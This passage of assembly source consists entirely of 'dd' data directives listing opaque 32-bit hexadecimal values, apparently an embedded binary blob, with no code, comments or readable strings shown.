95D7C70h, 0F1D52959h dd 215C50DFh, 7234E590h, 2CAE1C40h, 194B82B2h, 17B88E8Ch dd 0E0A69D7h, 4A56CCE5h, 1242DF76h, 0BFF94074h, 331246BAh dd 75CA6ABFh, 8F35FD10h, 83F6C026h, 0C6A91A12h, 8309FDC9h dd 0FD54D8C2h, 595DE978h, 538BA312h, 0A3B48B6Fh, 0BCA7A1C1h dd 4B5A0405h, 2E74AED4h, 3403DFEh, 0B704CD72h, 0DBF68DB3h dd 41124082h, 101AE27h, 0CB3232F0h, 0CFD82233h, 41A99A08h dd 0DEECD57Fh, 22A79AE3h, 59620D4Bh, 8BC8309Dh, 5A465474h dd 0F81D18F7h, 17DDD3C3h, 0C406A297h, 828CFBE8h, 47E59D5Ah dd 72F1F689h, 68561390h, 4C7FA329h, 0B9BC7F60h, 0DD69ED81h dd 853FF932h, 0ED2064ECh, 6A32631Ah, 0F6E311F5h, 0C4E41A17h dd 0E5150FAFh, 0DA9810B2h, 0A63004B0h, 0A8C28328h, 0B4032A93h dd 95EC469Dh, 3AF7CCE2h, 7BAECA3Eh, 0D8FAE9D0h, 0D1C20901h dd 1ADC68E2h, 0FFCC827Ch, 6F482903h, 0A2D0C504h, 0F262D9D7h dd 0FBFEA59Dh, 0EDFEF20Ch, 0F71A44FAh, 14D7ECAAh, 49DA611Ah dd 3F5C3368h, 8EE27631h, 1BF75702h, 45B9E159h, 72CACF87h dd 0C1CE618h, 0AA040A08h, 333C0F1Fh, 50E91A41h, 2162D34h dd 6FE5105Ah, 5C16021h, 0B0571DC7h, 0B4094113h, 0EA01E4F1h dd 0D8F0CD42h, 1A9ABE1Eh, 44083C53h, 0E828129Bh, 255E5822h dd 5ACECEF9h, 8349D1D2h, 58C7A8Eh, 0C51D0797h, 191BB5Bh dd 655310C6h, 0A5F928C9h, 2934B5F2h, 93B21Ch, 9173C381h dd 24018C55h, 25425BDDh, 61502E79h, 0E522B436h, 9EA0AC5Ch dd 0AA99AFF4h, 0B1D3173Fh, 61C56B5Dh, 128AFE8h, 72BD0537h dd 0C0216635h, 0E253BEF5h, 17C4E34Ah, 7B68B801h, 0C67A44C8h dd 0BC1FBC32h, 0E985F455h, 691DD660h, 637A1181h, 0AFF4D931h dd 85FDD319h, 0B524805Fh, 1D7F6759h, 0E1EB9424h, 21685060h dd 490BB115h, 75A7DB3h, 56C552A2h, 216706BEh, 3E9025F0h dd 80E34E69h, 693E123Ah, 0ED83305Dh, 6B30E5B0h, 2FA22658h dd 342EE0E0h, 0C3282831h, 0CA6499Ah, 1259B64Fh, 70656D68h dd 556CE000h, 6813272h, 0B91204F3h, 0DE130C0Ah, 0CE84A5Dh dd 0EB021B4Ch, 10DD0C6Eh, 0D1820163h, 0A2CB746h, 5A47D7C7h dd 0CC301FF2h, 2068F80Eh, 0EEFF7DF8h, 0C689BBA3h, 91DE2C25h dd 0DBE481D8h, 3C601635h, 0DA51B229h, 0F3B85DCCh, 48998D0Fh dd 5F935AEBh, 0CDDA127Ah, 2F4521D7h, 970CCA96h, 2FF9D6C4h dd 1EEEF1D5h, 45DB93A5h, 0FC4F0B10h, 5E4BDA9Dh, 90201BFh dd 41290833h, 44D301C2h, 0A10B10EEh, 795A1C0Dh, 7CD4D862h dd 1287F09h, 84008F3h, 14130C34h, 458D6253h, 0ED102621h dd 0B577CC80h, 30C1AE81h, 0CC8205DCh, 4DC28558h, 9340B355h dd 70E17CECh, 2C2A838Ch, 83E604DCh, 0DE4EB7D0h, 24B6520Ch dd 3BC0413Ch, 0B3007BDAh, 1ECB8067h, 0C54D26E9h, 106F58D7h dd 681C0747h, 693A546h, 241D32C1h, 0C4406D0Ah, 79E6B05Ch dd 0F7B720A8h, 31DBB07h, 0DB857BCFh, 27278F0Eh, 0D3863765h dd 25E91B14h, 31B13FBCh, 9C6F8945h, 202EC65Fh, 54768BFCh dd 3BEFB02Eh, 58745251h, 200948CEh, 0C9019C4Fh, 29E44B2h dd 0CA17F253h, 0ECA36489h, 7A82B732h, 0A277B586h, 74B6574Dh dd 2ACCBFF3h, 0E012EC07h, 4D03D91Fh, 5612454Dh, 8507D1F7h dd 8747B3FEh, 30FB9A55h, 0F3CB803h, 0BF330E00h, 7D3666D7h dd 8AC74A31h, 7C97481Ah, 0C53E300Ch, 121F6402h, 0E17E717Bh dd 7D006FE0h, 0A48943EFh, 0B4E914F5h, 0B5A78DC0h, 6B9E545Eh dd 4F74466Bh, 8012A5BEh, 0CF685B19h, 72F6962Ch, 7925B272h dd 0F6614EA7h, 0FEADAACEh, 8114936Ch, 3E5758E6h, 535F0D9Ah dd 0ACC70CD7h, 0F690FE9Fh, 344FD664h, 569422BFh, 189D5CD0h dd 2BE0578h, 68356C46h, 7BEC7CDEh, 965D9101h, 22E95544h dd 0BDBB073Ah, 0BE80F93Ch, 0FBFF581h, 41B536F0h, 68CEC18Bh dd 26074394h, 1B9D0CA0h, 80C41804h, 42D7E956h, 942F8C9Bh dd 0B754622Eh, 0FD4ABE9h, 0C08C18Fh, 0BB552B98h, 8CBC8A45h dd 0DD6850D8h, 15F3415Fh, 51B0234h, 0ECB67997h, 81CBDF42h dd 840B1A07h, 11A04090h, 9D220505h, 9101F0B3h, 6F324A2Dh dd 0BA5ED28Ch, 4FEC9754h, 0C3B1ECD2h, 0EA2BD93Eh, 98A3622h dd 8C5BB785h, 723C60CEh, 0B0A55B4Dh, 0A5800804h, 0CF540ADh dd 3A4BE945h, 0C16E095Ch, 0D3E08D94h, 1D5BC52Ch, 0A9DEB7F4h dd 801FC42h, 5489F8E9h, 0B8318099h, 294E53EFh, 4DA5A104h dd 0B5251313h, 0BE9DECC2h, 0E82AFD0h, 0DFCB814Bh, 0DC54F98Bh dd 0C3BD60CAh, 0B039C0Fh, 4D02EDC1h, 5EA4A481h, 53D500F7h dd 46B1BF57h, 0CE906D65h, 0D733C09h, 0D0C30041h, 0C05BE22Fh dd 5ACFF69Ah, 0FB168940h, 3EC1315Fh, 2C3EEAF8h, 29045C50h dd 1E8568D8h, 0B94A11F3h, 0CFE9091Eh, 82D8FEB9h, 0DD4FFDEFh dd 0ABE24A60h, 6F207E82h, 0E770F469h, 354362A9h, 0B4013C7Ah dd 25CDB8CCh, 664292E9h, 447ACFFEh, 0CC554E90h, 430068A1h dd 5A7BA771h, 0BD18E942h, 0E830AA82h, 6D27D1F8h, 12CE59C8h dd 0B4E5812Bh, 391860FCh, 3CB675F4h, 1ED1652Fh, 0D5382789h dd 68244D9h, 954FDBAAh, 3E1E46D0h, 7BB210h, 43D24FC6h dd 0CF50142h, 235DE95Eh, 2C1ECBD3h, 0C06EC646h, 2DD1072Fh dd 396272B0h, 0EFD04C01h, 5A010842h, 0C950A72Dh, 0D40C6030h dd 212CA492h, 11EA35DDh, 8E12A600h, 48EFC140h, 0AA067F03h dd 0A47C4C5Fh, 0E8221103h, 15F72152h, 0BBA3B098h, 655FE602h dd 0A3614C41h, 7F5207C5h, 96896688h, 0EA4D2D61h, 0AF44E905h dd 189172A8h, 0EBA2E9C2h, 7195D966h, 94516471h, 6D12BF05h dd 5C0DE9CAh, 6B93F121h, 0E909B59Eh, 627C4A10h, 0F518776Dh dd 119B4BE9h, 68825613h, 866C6957h, 0A7B6B84Bh, 5F6B022Ah dd 376845A8h, 1A3CBFEAh, 59E54040h, 1CE28C8h, 251FDBBFh dd 291E3116h, 7A55B16h, 0F9D65288h, 0D6BD5509h, 0BAC640D4h dd 6A02A640h, 0F2E9EE01h dd 9C38F748h, 6F13C868h, 16A22EDDh, 0E95AA093h, 0B135B824h dd 0FFF821C1h, 9597E2A2h, 0E9E3A279h, 503B4839h, 47055848h dd 0C028B506h, 5F795771h, 0F6C6724Bh, 17CD791Eh, 501951Ah dd 0B49876EEh, 4E1E06B4h, 6AD426A7h, 0EDEE819Eh, 94208CA2h dd 1839CD6h, 0D25468BEh, 83AC2545h, 2B4C9168h, 9523527h dd 0A4D2BC26h, 18634EAh, 4065E4A2h, 20408275h, 608ABF9Ah dd 2E7FFE36h, 13B87280h, 4892A910h, 0C41414EFh, 2D050957h dd 7C6E0931h, 0CFD0BA9h, 0D39C0BFCh, 543C14F2h, 57222F09h dd 0C0013133h, 1E3E07E1h, 0B18BD7C6h, 58C6C0D7h, 3060C2B9h dd 4ABBE9F0h, 0B3A140D5h, 13CE754h, 417BCB58h, 25303A08h dd 0A974F068h, 123ABFD1h, 0EC30BB7Eh, 0A166BC5h, 0FD0175B8h dd 4E0820CDh, 0D9AE125Fh, 18F733B4h, 0AC593742h, 7ED183A6h dd 7871232Ch, 10778E25h, 0BB65238h, 3DB753D8h, 8DBEC9F8h dd 6A965E0Ah, 0D0ABAD25h, 5F2FBA2Dh, 0E354D9C4h, 35B053BEh dd 299C2F03h, 0F1C389D6h, 0A32A41A6h, 2B42057Ah, 0EE814C33h dd 0C92A0322h, 4A4E2086h, 571BB99Dh, 9AA071F0h, 0F0C07C38h dd 801FC360h, 60520F1h, 59CA284Bh, 0CC8AB316h, 623C0545h dd 4C06E982h, 20D28E49h, 0FC176FECh, 0E8C1F37Fh, 5A022EECh dd 0EAB5BFEEh, 0C194FFEDh, 0EB2DD830h, 3BF52BC6h, 0F6031D78h dd 3D870597h, 0DBD71804h, 92A6DFF7h, 52CE407Ah, 0DA5B85ECh dd 93B46F97h, 21410500h, 8E900C28h, 6A58130Bh, 6741A079h dd 0C12E574Ch, 2669B10Ch, 35F5F038h, 50951F1Ah, 34E00618h dd 1825BF48h, 4A22FD2Dh, 68D2E40Bh, 0B4416191h, 0EBFC49CFh dd 0EEE9E971h, 0C54EC963h, 703CBE2Bh, 0E6578201h, 88A8B477h dd 1058521h, 2CEB5BDEh, 214D2A1Ah, 98CD927Dh, 27FDCA7Bh dd 2D25E1F4h, 0FCC5942Ah, 20480051h, 0D6892C5Eh, 0BF0AF0E9h dd 410905C4h, 76B2D791h, 0DF19094Bh, 0E695ADC6h, 928AFE3Bh dd 0B1B804D2h, 0A073BF03h, 2CFC559Dh, 0A0027CF3h, 3957F381h dd 0CEEB5F6Dh, 0D5F9272Bh, 5F58C243h, 0E9C62CE5h, 9ABFC972h dd 5758C2E2h, 8050C0A4h, 97B0CDDFh, 15F8303Fh, 5E639C01h dd 302F3D29h, 5DEA2943h, 40763EA2h, 0D1C0BF80h, 27E9CED8h dd 0A814EC04h, 0DB70D0C4h, 1B010513h, 13A499Ah, 5FFA35D2h dd 85A9B058h, 0B7983A64h, 66A9A946h, 0FB3537Bh, 13A587FAh dd 5B54CD84h, 0FB8F5FE9h, 55C4604Fh, 28FDEF68h, 4E98C16Fh dd 3AF430BCh, 6299BF4Ah, 0D4003EC8h, 558DBE59h, 0F77F05E2h dd 121F68D6h, 9D08E015h, 920C11C0h, 7CFED8F6h, 27847DC0h dd 5C28998Ch, 45A30EA8h, 5F102C8Ch, 42653AE3h, 40CE548Ch dd 511E52D5h, 0A4BEBB5h, 4F567E8Ah, 81C8D016h, 0E38D5F2h dd 30CEF3Fh, 0E077204Ch, 16B672EAh, 4431EB2Bh, 1D0B686Fh dd 34925BFBh, 6155609h, 1CCFB252h, 0D83B5A79h, 32E9922Ch dd 4249A5C2h, 8ADA5899h, 0A03C438Bh, 602B153Fh, 9E970C32h dd 89641D62h, 12BECFB0h, 0A63FE981h, 76E3001Ah, 0B9513B36h dd 590308CFh, 0E9CA314Ah, 32F14894h, 4925EE53h, 0AEC53FA5h dd 2CACDA53h, 0ECF23F2Ah, 0BAC05447h, 0CB5B48DDh, 21A38C12h dd 2A5EF51h, 0E8C1D652h, 633A2599h, 0FB254873h, 0C680422h dd 0D2D0985Bh, 4F5FCF40h, 0D8D62D01h, 5B0988EFh, 0DC31F7CBh dd 31575924h, 0BB34CC55h, 20E87251h, 251635CFh, 5205DAF7h dd 0CA9467E9h, 0E64A39BCh, 25299779h, 9684020h, 48083E9Ch dd 0CE8A2082h, 51F80102h, 0A651A5BAh, 0AD4CE941h, 95F20024h dd 13E31940h, 240B663Fh, 6885EF52h, 0D6456496h, 38BB08BAh dd 713168BFh, 0D321271Ch, 0FBDC3AA5h, 8F859492h, 10ED9599h dd 581DEE3Ch, 13DAF95Eh, 0F3370000h, 4C1B07BCh, 12DF8933h dd 0C546F8EFh, 90E92670h, 7F888498h, 25C3B638h, 5920D659h dd 3200E3DAh, 9F8626BBh, 2D685609h, 35983F6Ah, 59BE1063h dd 21020796h, 61C00884h, 4538FDE3h, 3590ABD1h, 370A92C5h dd 0E5D4868Bh, 3EBC117h, 0A7F4B90Fh, 0F7E469E0h, 2BDB6F0h dd 2EC73505h, 8D82E5C1h, 94448D87h, 85CB9109h, 0D4650B8Eh dd 0E8E9842Ah, 0C38EF26h, 0E96317B3h, 0BEDC5245h, 4EA80864h dd 5103C83Ch, 40CDE99Ch, 9149B92Ah, 4DBDC2E6h, 31B8130Bh dd 813C1F67h, 677FF327h, 876F2EFFh, 0B130E3F4h, 11EF4F01h dd 58074629h, 275296Bh, 54AFC8FBh, 0AACC0204h, 968F188h dd 92595052h, 0C5818765h, 5E8548B1h, 0C4E9D043h, 0BA037FB8h dd 31FF606Ch, 0CDD2F28Ah, 92D3F32Dh, 50B77425h, 23CF15E9h dd 0D110F3B7h, 333C17A4h, 0BA1675F9h, 0F333607Fh, 1202A66Bh dd 0BCAB46BEh, 63D8803Bh, 0CE1EB371h, 3982090Ch, 855290Ch dd 0C340810h, 68591401h, 686727h, 0BA42B9C1h, 0A0768274h dd 5FB45BFCh, 0BF5B9C16h, 36980A17h, 28AF40E5h, 0A2A1CB4Eh dd 39809A20h, 0ED879EC5h, 2F8D04D1h, 13DFBCB2h, 0E9BDDD05h dd 511700D3h, 0E9806CB1h, 75287A59h, 0C1010F5Eh, 299A6852h dd 0D4058988h, 5ECBDA2Ch, 1ECB698Ch, 0E8015D25h, 82800ED1h dd 0D44B5671h, 5FEEAF93h, 0B5851C9Fh, 7860E36Ah, 0E200C071h dd 80D2F607h, 5AE9BEC2h, 88A30550h, 0AF9A83F3h, 0B5666926h dd 0AC57620Eh, 31F30E43h, 50193DF1h, 2C273E38h, 0A94404FBh dd 7E88BBE0h, 8FB12EEAh, 129068DEh, 6C87B19Bh, 40EFE416h dd 685355A9h, 7AC11D4Bh, 35AABD5Bh, 581FBFCh, 501156EDh dd 10768575h, 5B300873h, 0F304400Eh, 0EDD14A13h, 7C06180Fh dd 8D460EF8h, 4F5C734h, 1068867h, 8B2020A4h, 4D62514Bh dd 26A87AA3h, 0C0695EF1h, 72037505h, 0C801200Ah, 0E904072Dh dd 27EB9F4Eh, 0D01B85FEh, 58E13025h, 411224E7h, 0CD8CF04Fh dd 0F08F5847h, 55F82698h, 0ECF50134h, 3BA80813h, 0F71B4384h dd 0E72C4EA5h, 819A2Fh, 0CCFE6EB4h, 0F606ECC0h, 0C480DC00h dd 0E9E2303Fh, 131CBA27h, 0B963E168h, 9DBAA4DAh, 0BA768033h dd 8522C605h, 58B5EE9h, 90EFC1B6h, 6B7ABC0Eh, 0FB31772Eh dd 0F62E5828h, 56126C9Bh, 0D52F49A1h, 0EB390909h, 0BFDCFE62h dd 9D7E8C50h, 8E4062A7h, 1A54F60Bh, 21A25744h, 5FCB434Ch dd 0EAC390E8h, 0F700FF82h, 4015B633h, 5AD12913h, 6CA43B16h dd 4DEE40A1h, 0BA9A46ECh, 9C138831h, 63933AF7h, 7BDF0BF8h dd 4648CCEBh, 0F1CB4B92h, 84E0E913h, 4ADFA862h, 0D21079F6h dd 0BDBF029Eh, 7C4A7907h, 0BB530A77h, 17EF0BF8h, 4B8CF556h dd 2F27C881h, 0AEEB441Fh, 971E3AC8h, 482BB358h, 5CA144E0h dd 102032E7h, 813B7DEEh, 856F2904h, 9CDB87Ah, 4057F6Dh dd 71B7F559h, 2168B44Eh, 8CA24A1h, 0CB50BC3h, 66292046h dd 4C2FA676h, 38273239h, 6242C5EFh, 0CD3837Ah, 14CA92D5h dd 0E5B85014h, 0A35F85D4h, 44E90B51h, 27C9E49Bh, 0F8A58268h dd 66A647CFh, 0E91365BBh, 0E3040FD4h, 0BB296A71h, 2CD9E2ADh dd 84ECBE0Ch, 0BAD6919Dh, 4F0307Ah, 29B81A92h, 84A7395Eh dd 0D8099125h, 450A4480h, 5E3E41F5h, 2BD6AF46h, 696B51BFh dd 0B3658812h, 2F126893h, 0FEAC8734h, 0AC12EBD2h, 648E79FDh dd 0AA1F123Dh, 1B49D714h, 0C097F2E9h, 0BE3F680h, 45AF088h dd 0E9C1A200h, 0A0BD155Fh, 0B10E41D5h, 0DE0120B0h, 0C662CD96h dd 5BAE5C58h, 0BBE9BF09h, 42E6FCE7h, 0B6862605h, 0EF4010F7h dd 7D0859E9h, 5EF02100h, 0BF531935h, 0B80D7100h, 2D1EC23Fh dd 0D67F3BB9h, 2FD7E1CBh dd 0A405368Dh, 0EC130A4h, 2D4C5FFBh, 9F02E1A7h, 570E40E1h dd 80856E8Dh, 0D4D8AF24h, 0CC2D0158h, 6827E035h, 7266FEAFh dd 5CFCA58Ch, 54530B12h, 7C2B8A09h, 1BC6C9ECh, 2C0D00BFh dd 511532h, 5341C7B9h, 0C3C9811Fh, 5FCD7D03h, 38A989E9h dd 4589BDB8h, 0BC0F7360h, 2AE90338h, 0BA34224Bh, 22AD9DC4h dd 50A1C703h, 6BD930D9h, 1777BB19h, 20B7A699h, 1F68D22Fh dd 0BA807BF8h, 0C74E0745h, 0C6D5315Fh, 44B75938h, 14954DD7h dd 30358D5Bh, 2BC0D1DEh, 1A6D1BBFh, 0B445F40Ch, 0A3AD170Bh dd 32C17D1Fh, 0E63508BEh, 0D07EB12Ah, 54C5251h, 542903F5h dd 0E8460372h, 3E5CF1CEh, 0F6B92D32h, 4B061A8Bh, 8405AB20h dd 3A12EC53h, 2F80D8E9h, 7987D7F7h, 933F27F9h, 0D27C2D2Bh dd 4F985749h, 0BF800FF2h, 0BD141627h, 4D5BC2Eh, 45AD0B99h dd 0D744510Fh, 36C5AAE6h, 68B77100h, 48403C67h, 7D04B735h dd 0B8A2E960h, 0E65F87h, 20918D5Ah, 0CE91143Ah, 3873FFA0h dd 73334B2Dh, 2C5C005Ah, 0F2810C41h, 0F675CE05h, 1780311Fh dd 0DCFEE949h, 0FBFC65CEh, 507CF300h, 9051A0B0h, 9CB44E0Ch dd 0E80EC170h, 4EC8310Ah, 8C68CF0h, 3DE431E9h, 31015E8Eh dd 22CD7E0Dh, 3825623Ah, 300B527Ch, 0CFEA7CD9h, 923CF933h dd 663D20FAh, 6A5BA268h, 7AC70221h, 0FCAC9C96h, 14B3C0DDh dd 58A2B151h, 481044F6h, 0D0B05BF7h, 0FF162BDh, 99595DE8h dd 58A61149h, 0FE79442Ah, 0E834FA34h, 5AE65380h, 0C0D600Bh dd 3BC168C7h, 8A62897h, 0C2055627h, 0C57B0CA8h, 22F8688Bh dd 0CAB8E9E5h, 0E402DD7Ch, 0D100809Ch, 9C23BEAh, 0DF6A840Fh dd 400D3A7Fh, 1E7657C7h, 4BE5475h, 0D7F22DAFh, 0E955E09Eh dd 0EC9FA00Ah, 8CBD200Eh, 314B25B0h, 7C05FC03h, 89A3E7CDh dd 2CB3E1C7h, 0B34D663Dh, 2450DF2Eh, 4DF3032Bh, 8992EC84h dd 0DC6AB082h, 1CBE4904h, 0E04EFD1Dh, 0ED07616Ah, 0CF896DB7h dd 85B1C2A5h, 817CC02Eh, 7C2D7FE2h, 0B8C03B46h, 4A4AA31Bh dd 3D0EC09h, 0E37BCFEAh, 1C57C95Eh, 79CAB888h, 47E2890Bh dd 0D0E9841Fh, 3936A940h, 3524CFD8h, 0FB7655A3h, 63E97D89h dd 90DFD062h, 4EAF0FA3h, 0B2BF1EC8h, 0C0605077h, 6A981307h dd 0FD05EE99h, 32814071h, 0D73BFA8h, 96CE2778h, 0A86B9A19h dd 2E34B049h, 24F18A16h, 0A2B5882h, 176075B2h, 74284EEDh dd 0CD048476h, 13E038DBh, 369545C5h, 0EEF364BFh, 0BF57F600h dd 26CF11FBh, 3A40472Fh, 0F9938DBEh, 0E995C162h, 0A4093BD9h dd 0D760B259h, 0D6C0588h, 2FA917E9h, 0F403F5F4h, 9DB25B47h dd 7219C9E1h, 78FD10CDh, 12DF7E4Dh, 1D28EE59h, 17036968h dd 1F56E129h, 5A4C9854h, 5F6904D8h, 0DF7EEC56h, 0E4D05449h dd 3862B519h, 0FA04F75h, 0F4739AE9h, 110BF759h, 762D46E2h dd 0A0569373h, 3A130625h, 0E6013B42h, 7B240D90h, 17B8E7D8h dd 1250C67h, 0BC469530h, 0C7BA500Bh, 112760F4h, 0F72D4089h dd 0F9E90D3h, 0EF7FAF98h, 41D21E92h, 274CF0E6h, 3D47606Fh dd 74C72113h, 0B9704AFh, 0FAB90B20h, 9FCAF8A6h, 81A0D694h dd 8A207CFDh, 6439092Eh, 2B843DA4h, 0EA7A7AAh, 0E5F66855h dd 0C6B075DAh, 0E78980F7h, 0BE595078h, 9CBF2B73h, 73213000h dd 4F24E965h, 10C5E394h, 0F14B92B3h, 9AB7E06Bh, 6DA841C0h dd 0F6531F34h, 2625EF20h, 10F5E22Bh, 5A1877E7h, 0CECD7A57h dd 8B605681h, 741D1F88h, 0E59B1248h, 8B54074h, 184B750Eh dd 43123CACh, 0CBFDB81Ch, 0E998250h, 2537453Eh, 0E96124D6h dd 443B15FAh, 2E8E4D5h, 0D1565368h, 2E638019h, 32E922B3h dd 0FEA23B4Bh, 0BD887F78h, 98A2B118h, 0C00008ABh, 9843463h dd 1D71C535h, 0C4051831h, 0AA2E1506h, 0D8F7C004h, 28C502BFh dd 42771ADAh, 134CD679h, 0A90085F2h, 30EF926Fh, 2DEC6881h dd 1A35759Ah, 12BB2EF3h, 0C2AB80Bh, 0C13697Eh, 76FE396Eh dd 0CB90E98Ah, 0E070A7D6h, 0D7C7DA24h, 0BAD3EA9Fh, 72AA2485h dd 1EF42C50h, 9D02B958h, 243F4A99h, 5A0B5357h, 9A293868h dd 9B0584Dh, 2716582Eh, 1F234086h, 0EF13CD72h, 2BF0595Dh dd 0BA8540B9h, 289FAE2Eh, 7FD12909h, 973C4910h, 8684B4A6h dd 660FD884h, 0E5638F47h, 4594FFC1h, 0F607FAF8h, 9230E02Bh dd 7A8AB728h, 64CA2597h, 6D78854Ah, 97F49EBFh, 5655DEA0h dd 0CE4AAAE9h, 5031A792h, 7A8EBE8Ch, 38C4BBDAh, 0D8AF1198h dd 0C341016Eh, 123E926Bh, 2C247D74h, 0AD57DB02h, 0B0154048h dd 7A1F251Dh, 0CF8F14DCh, 866B29A3h, 122DF30h, 65F911B1h dd 3A05EDC1h, 7BE6EE80h, 80734B4Dh, 0D5F90252h, 0D51EE926h dd 0B0A3B996h, 0C72FE245h, 2DD830D2h, 0B0484D56h, 77F5111Fh dd 0AF5FF914h, 0B196023Dh, 0D3BEFCF2h, 0F78459B8h, 515B0275h dd 54AF4253h, 2D0A26BFh, 4C6F33F9h, 1C2F7F1h, 2AF5446h dd 6F5AD321h, 0A05BA049h, 60D1C3A4h, 0C7260ACh, 89522A11h dd 0F2C5E912h, 57050F32h, 0AAF61F16h, 0B3A6516h, 7109784h dd 0AE1213E3h, 71A169A8h, 19C93E93h, 40CCAB60h, 0E80388D6h dd 30CEFE59h, 0FC693F0h, 6B25208h, 7DCA69h, 2803F238h dd 5E1990D0h, 783BE226h, 2B90345Ah, 0F91FF0C1h, 0F0495DC8h dd 2CBE0BF1h, 0AB851914h, 0E9030705h, 0F8ED2406h, 0F492DE1Dh dd 0ABB9C656h, 995BB490h, 15616F8Dh, 85043AA9h, 65BA847h dd 34AF43EAh, 420E9690h, 58021B40h, 4E655F01h, 0D26B5CA7h dd 0F06208FCh, 0A14F0574h, 0A0C544CAh, 0E80C3503h, 84521061h dd 80271689h, 4AA3E846h, 0EB10A4BDh, 7BB80121h, 4860BD0Ah dd 0D05A030h, 5B74618Ah, 5EC520C6h, 0A0519E40h, 24B56CC4h dd 98792898h, 24B91BD0h, 446F0D14h, 5A0725A9h, 21F1007Fh dd 535BF4Ch, 0FA75528Ch, 7801392h, 0F8782959h, 0AE57E21Fh dd 2F66F9E5h, 249E851h, 6EB2B58h, 55586B5Bh, 5625000Eh dd 2D487667h, 2EDEA8Eh, 6A410508h, 27C1F7D8h, 4333DCCh dd 183D744Eh, 2485B582h, 8F56012Ch, 0F32B3842h, 0B4680842h dd 35E9050Dh, 3414F28Ah, 0C2A8E452h, 9E2DAD01h, 0ED387149h dd 2B162FD1h, 4A5A2D2Ch, 9208B856h, 284FB4ADh, 6E122994h dd 40FE039Eh, 68BBE367h, 4A986762h, 23FFC1Fh, 172029D4h dd 4CC1AEE9h, 0FE60DEF7h, 3F849418h, 0C34E43B8h, 21E22383h dd 5FBF3EC8h, 0F4F7F12h, 78856284h, 1A01EEA2h, 0E91C063Eh dd 4A3B3CC9h, 74A51EF2h, 0A4E5E861h, 7E7829FFh, 0CA3E342Dh dd 0CD885E08h, 0F9D832E9h, 89DFD0E7h, 7BD980BDh, 4A406890h dd 1E1BC48h, 4E4D7903h, 0F43BE6C1h, 0DD09C6EAh, 0DE757D80h dd 200D9E98h, 13303AF1h, 0FEC8BF0Fh, 0B4E45E52h, 3179B74Ah dd 39C5685Ah, 1C22CC39h, 2735DD10h, 0E1747159h, 23C53EE9h dd 6F904D0Fh, 0E9BBC92Fh, 2F60DD92h, 0F46A1BE2h, 6CF98099h dd 544A8105h, 17BB535Dh, 9D4327C4h, 871668F0h, 0C91D8D79h dd 1390BD75h, 50747E56h, 0BBD8E37h, 291CAC02h, 4805DD93h dd 0CC6158Dh, 59F9F70Bh, 0B782A8D4h, 680B5247h, 0E9F9A1A7h dd 0DD3E9A8Bh, 0D50F2009h, 98A0B680h, 0BCA4F2E5h, 0BF575046h dd 0DB763B05h, 0BB884744h, 248917C6h, 3A88E1BBh, 4EEC80B0h dd 68BD30EDh, 0E4B44C82h, 18084ECCh, 482B5140h, 0AA0F0DB8h dd 94E5C12Ah, 94A505A9h, 0F9833E52h, 0AD99BE9h, 76EE6854h dd 77986926h, 0C45EE953h, 0A0C56594h, 46138CB8h, 0E260B82Fh dd 2DD36409h, 0CF18721Dh dd 5481ECD1h, 48629B6Fh, 9232102Eh, 4B10904Ch, 0F28101DFh dd 48C14AF0h, 5BB10C82h, 0F84151EEh, 10246D1Bh, 0BA00E849h dd 3ED14A34h, 0D00D0BBBh, 0C001CB43h, 62070640h, 92117EAh dd 2BB80BF3h, 15623AF4h, 8D290BC9h, 504E575Ah, 462B4CB1h dd 99ADBC57h, 2E18C348h, 0D9001C83h, 2F3CBB5Bh, 0C58E5BC7h dd 0EB349093h, 0A727659Bh, 1E41560Bh, 0D5B07E87h, 0F3BDE908h dd 0C9479BBDh, 0D16A37EAh, 9A86C93Ch, 0DD905A1Eh, 2EAF7D31h dd 7164EA21h, 3AA7FF81h, 2B89277Dh, 0AA901DE0h, 5D405DA3h dd 0DC301155h, 0B2540C0Eh, 55D5A94h, 0B1FA87B4h, 4C57D253h dd 0E6C202F9h, 29D47611h, 8542A97Fh, 17D9282Fh, 833856E5h dd 593B6809h, 6489A7D1h, 2098C61Ah, 544CEFACh, 0ECB684E5h dd 48006614h, 81186952h, 1F1D1BEFh, 0F781516Bh, 336D116Fh dd 0A7818A4h, 0C28238h, 474B107Dh, 0B7A2FB29h, 0E95F0800h dd 40BAC27Bh, 7970D327h, 0E9DB9661h, 512704E9h, 9883743Fh dd 0A4E0E903h, 0ECF0342Bh, 0E134A7E0h, 48C222C1h, 1EB3877Bh dd 0DE28FDD6h, 0EB1D27C9h, 0CF449042h, 0FA2D2B3h, 1AF2AFF3h dd 802C213h, 0CAE943E9h, 852630ADh, 72895780h, 5FFD26F7h dd 419612E2h, 59EF8848h, 0DED36C51h, 0F114FE9Fh, 0F35227FDh dd 0B855142Ch, 1AD8CACBh, 628FBE05h, 17800A01h, 2FCE1E83h dd 10F0292Bh, 0F7580880h, 3FB3D659h, 923478B8h, 22AE2673h dd 0F946D965h, 928EC595h, 0B599C147h, 93AA7099h, 38452C39h dd 4D01DE7h, 5A707839h, 0E9FEE87Dh, 22D7262Dh, 55DCCA71h dd 76688F90h, 0DC886F4Fh, 305D5E5Eh, 1516823h, 0E11610AAh dd 8B2A6F90h, 0D0ECB090h, 125ED849h, 8BBC332Eh, 945F5FF2h dd 0B1391FCh, 0D310AFF8h, 0CF12E42Dh, 38A1EBEAh, 0FFA7A604h dd 8089E912h, 7B3968E4h, 0D9BD57A8h, 5AFB4816h, 68EB9101h dd 0F17C7CF8h, 95FE896h, 5A7A415Fh, 9D5B6803h, 5A48280Ch dd 0B2A5A4A9h, 18096B4Bh, 172102F3h, 60A7A9E5h, 0B0CDEAF5h dd 85F0DDFAh, 5B02ABAh, 0F81A8A91h, 0A1BC9620h, 833A2E2Dh dd 0A232235Fh, 0B8100030h, 390533C3h, 87DE0C1h, 4BEBD94Dh dd 0F23ABBA5h, 93417620h, 0CF0F6E89h, 1D99115Eh, 0DB30527Bh dd 0D947127Ah, 0C6521C75h, 0D876E607h, 0FE44D70Bh, 67A864Fh dd 0EFE11F12h, 11E90453h, 687F9808h, 0C664A52Fh, 25597A9Dh dd 7AF96319h, 72ADE961h, 15079F39h, 6FAE30E5h, 75FAED92h dd 0F4F5F95Fh, 2BDDB12Fh, 0DEC4D094h, 35BB38C5h, 0AD39AF78h dd 4C358E2Eh, 84888534h, 9B81E2Ch, 1C40328Fh, 5483701h dd 50119695h, 7C0BACA8h, 0A304307Dh, 0AA92EB25h, 822E910Ch dd 4903EB04h, 0DA0BCD80h, 0D1EFA2CBh, 683BB8E2h, 1A46951Eh dd 6716BE1Eh, 0A57C159Fh, 82B6597Ah, 191A092Bh, 0C14D615Dh dd 